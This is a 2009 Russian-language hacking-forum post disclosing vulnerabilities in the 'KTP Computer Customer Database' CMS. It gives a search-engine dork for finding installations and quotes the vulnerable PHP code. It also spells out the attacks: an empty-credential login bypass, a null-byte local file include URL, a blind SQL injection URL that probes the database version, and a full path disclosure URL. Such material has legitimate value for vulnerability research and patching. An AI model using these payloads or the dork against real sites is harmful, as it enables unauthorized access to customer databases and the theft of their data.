Показать сообщение отдельно

Уязвимости KTP Computer Customer Database
  #1  
Старый 12.04.2009, 21:12
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию Уязвимости KTP Computer Customer Database

Уязвимости KTP Computer Customer Database CMS

Product : KTP Computer Customer Database CMS
Dork : "KTPCCD & KTPotG ©2008 Keith Thibodeaux"
Site: http://sourceforge.net/project/showfiles.php?group_id=245189
Founded by: Dimi4
Date : 12.04.09


Auth bypass
[pages/login.php]
Вот такая вот корявая функция. Проверяет только пароль:

PHP код:
if ($_GET['a'] == "login") {
    
$lname $_POST['lname'];
    
$lpass md5($_POST['lpass']);

    
$q mysql_query("SELECT * FROM techs WHERE tloginname = '$lname'");
    
$result mysql_fetch_array($q);

    if (
$lpass == $result['tloginpass']) {
        
$_SESSION['tid'] = $result['tid'];
        
$_SESSION['loggedin'] = "1";
        
$_SESSION['tname'] = $result['tfname'] . " " $result['tlname'];
        
$lin 1;
        
        
$template->assign('name'$_SESSION['tname']);
        
$template->assign('id'$_SESSION['tid']);
        
        
$template->assign('func'"in");
        
$template->display('login.tpl');
    } else {
        echo 
"login failed";
    } 
Логинимся с пустыми логином и паролем.

Local File Include
[index.php]

PHP код:
if (isset($_GET['p'])) {
    include 
'pages/' $_GET['p'] . '.php';
} else {
    include 
'pages/index.php';

http://localhost/ktp/?p={PATH}%00

Blind SQL-inj
[index.php]

PHP код:
    function gettech($tid) {
        
        if (
$result mysql_query("SELECT * FROM techs WHERE tid = '$tid'")) {
            
$tech mysql_fetch_array($result);
            return 
$tech;
        } else {
            echo 
mysql_error();
        }
    } 
http://localhost/ktp/?p=tech&a=vtech&tid=1'+and+substring(@@version,1,1 )=[num]--

Full Path Disclosure
[index.php]

Код:
http://localhost/ktp/pages/tech/changepassword.php

Последний раз редактировалось Dimi4; 12.04.2009 в 21:15..
 
Ответить с цитированием